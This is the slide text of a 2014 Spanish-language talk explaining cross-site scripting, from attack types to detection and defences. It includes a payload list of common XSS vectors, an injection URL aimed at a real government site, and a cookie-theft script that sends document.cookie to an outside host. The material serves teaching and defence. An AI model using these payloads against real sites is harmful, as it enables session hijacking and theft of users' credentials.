Charla sobre los ataques XSS que di el día 28-04.2014 para Gr2Dest
El vídeo: https://www.youtube.com/watch?v=WkGN5BJe9TM&list=PLT7EiLsL_gKg1jgubtE1PNBpVB4tSvGTb
3. 3
0. Un poco de historia
1. Introducción
2. Definición de ataques XSS
3. Tipos de ataques XSS
4. Partes de un ataque XSS
5. Detectar aplicación web
vulnerable
6. Ejemplos de ataques XSS
7. Soluciones a los ataques XSS
6. 6
1. Introducción
Cross Site Scripting (XSS)
• Los ataques XSS se suelen llevar a cabo en paginas web que permitan ejecutar código
de scripting, como Javascript, Action Script o Ajax entre otros.
16. 16
XSS DOM Bassed
El resultado de www.vulnerable.com/userdashboard.html?context=Pedro
El HTML de www.vulnerable.com/userdashboard.html
17. 17
4. Partes de un ataque XSS
• Inyección del código: Identificar que código se puede introducir.
• POC: ¿Qué puedes hacer con el XSS? ¿Robo de credenciales?, ¿defacement?, etc.
• Llevar a cabo el daño. Suplantación de identidad, envío de Spam, etc.
(Visto como el atacante)
18. 18
5. Detectar aplicación web vulnerable
• Detectar la vulnerabilidad a través de formulario
Ej: <script>alert(“akil3s”);</script>
19. 19
• Detectar la vulnerabilidad a través de URL
Ej: http://tuweb.com/index.html?nombre=<script>alert(“La alerta”);</script>
5. Detectar aplicación web vulnerable
Alberto Segura. http://elladodelnovato.blogspot.com.es/
20. 20
6. Ejemplos de ataques XSS
Robo de cookies y sesión
<script language="javascript">alert(“TeRobolaCookie: " + document.cookie);</script>
<script>document.location.href = "http://robocookie.com/recibir.php?ck="+ document.cookie;</script>
23. 23
La dirección completa a la que se apuntaba era la siguiente:
http://www.eu2010.es/en/resultadoBusqueda.html?query=%3Cscript%3Edocument.write%28%27%3Cimg
%20src%3D%22http%3A%2F%2Fblog.tmcnet.com%2Fblog%2Ftom-keating%2Fimages%2Fmr-
bean.jpg%22%20%2F%3E%27%29%3C%2Fscript%3E&index=buscadorGeneral_en
Análisis rápido:
Funcionalidad vulnerable: resultadoBusqueda.html
Parámetro vulnerable: query
Código inyectado en la web, interpretado por el navegador:
http://www.securitybydefault.com/2010/01/eu2010es-el-fail-es-para.html
Explicación del XSS a la web de la presidencia española.
26. 26
6. Ejemplos de ataques XSS
Alberto Segura: http://elladodelnovato.blogspot.com.es/2013/01/vulnerabilidad-xss-en-twitter.html
27. Vectores de ataque mas utilizados:
• <SCRIPT> La más popular y conocida por todos <SCRIPT> alert(“XSS”); </SCRIPT>
• <BODY> La etiqueta body puede embeber el script usando el evento onload <BODY ONLOAD=alert("XSS")>
• <IMG> Algunos navegadores permiten ejecutar un script cuando encuentran la etiqueta img <IMG SRC="javascript:alert('XSS');">
• <IFRAME> La etiqueta iframe permite importar HTML a una web y puede contener una secuencia de comandos
<IFRAME SRC=”//webVulnerable.com/xss.html”>
• <INPUT> si el atributo de la etiqueta input esta establecido con image puede ser manipulado para ejecutar una secuencia de comandos
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
• <LINK> La etiqueta link a menudo se utiliza para vincular a las hojas de estilo (CSS) puede contener una secuencia de comandos
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
• <TABLE> El atributo de fondo (background) se puede usar para hacer referencia a una secuencia de comandos en lugar de una imagen
<TABLE BACKGROUND="javascript:alert('XSS')"> También es valido con <TD> <TD BACKGROUND="javascript:alert('XSS')">
• <DIV> La etiqueta div, similar a table y td, también puede incorporar un script
<DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="width: expression(alert('XSS'));">
• <OBJECT> La etiqueta object se puede utilizar para lanzar un script desde un sitio externo
<OBJECT TYPE="text/x-scriptlet" DATA="//webVulnerable.com/xss.html">
• <EMBED> Si el atacante quiere usar un script dentro de un archivo flash, lo haría así
<EMBED SRC="//webVulnerable.com/xss.swf" AllowScriptAccess="always">
27
29. 29
7. Soluciones a los ataques XSS
Al diseñar las aplicaciones
• Se debe verificar siempre que el tipo de datos y la longitud de los campos se
correspondan con lo esperado.
30. 30
7. Soluciones a los ataques XSS
Usar las ultimas versiones de los navegadores
• Desde la versión de Internet Explorer 8 si intentas acceder a una página web que
ha sufrido un ataque XSS, aparece un mensaje avisando de que la web ha sido
modificada.
• Esto es debido a que el filtro Anti XSS de IE detecta la manipulación de la pagina
a través de la inyección de código en un parámetro.
* Por esto, es muy recomendable tener siempre actualizado todo el software de tu
equipo.
31. 31
7. Soluciones a los ataques XSS
• El diseñador debe:
Verificar el formato de los datos que van a poder introducir los usuarios.
Codificar los datos visibles al usuario reemplazando los caracteres especiales.
Revisar las cookies.
El código introducido no puede ser superior a X caracteres.
Al terminar una pagina web, contratar los servicios de un auditor de seguridad para
que haga una prueba antes de poner la web en producción.